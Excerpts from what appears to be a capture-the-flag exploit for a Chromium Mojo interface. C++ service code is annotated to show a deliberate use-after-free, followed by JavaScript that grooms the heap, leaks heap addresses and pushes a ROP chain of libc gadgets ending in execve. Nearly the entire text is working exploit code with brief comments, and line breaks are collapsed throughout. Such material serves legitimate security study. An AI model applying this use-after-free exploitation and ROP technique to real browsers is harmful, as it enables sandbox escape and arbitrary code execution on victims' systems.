void TStorageImpl::Init(InitCallback callback) {    inner_db_ = std::make_unique<InnerDbImpl>();    // Init will release the previous inner_db pointer    std::move(callback).Run();}
void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {    mojo::PendingRemote<blink::mojom::TInstance> instance;    mojo::MakeSelfOwnedReceiver(std::make_unique<content::TInstanceImpl>(inner_db_.get()),                                instance.InitWithNewPipeAndPassReceiver());    // so inner_db_.get() pointer obtained previously will be freed    // which is UAF    std::move(callback).Run(std::move(instance));}

// tInsPtr here is the UAF objectconst idx = (await tInsPtr.getInt()).value;print(idx); // get which one is occupying the UAF objectfor (let i = 0; i < 201; i++)await tInsPtrSprays[idx].pop();const heapAddr = (await tInsPtrSprays[idx].pop()).value;// pop element to leak the address of heap// now 0x678 is freed again due to poping elementsprint(hex(heapAddr));

await tInsPtr.push(libcAddr + 0x52bc8);  // pop rbp; pop rbx; ret;await tInsPtr.push(0);           // let queue to have some elementawait tInsPtr.push(textAddr + 0x3fa5114); // xchg rsp,rax, as virtual tableawait tInsPtr.push(libcAddr + 0x2cb49);  // pop rbx; ret;await tInsPtr.push(libcAddr + 0xe4e30);  // execveawait tInsPtr.push(libcAddr + 0x1b96);  // pop rdx; ret;await tInsPtr.push(0);           // rdx = 0await tInsPtr.push(libcAddr + 0xd1ba7);  // lea rdi, [rsp + 0xb0]; mov rsi, rbp; call rbx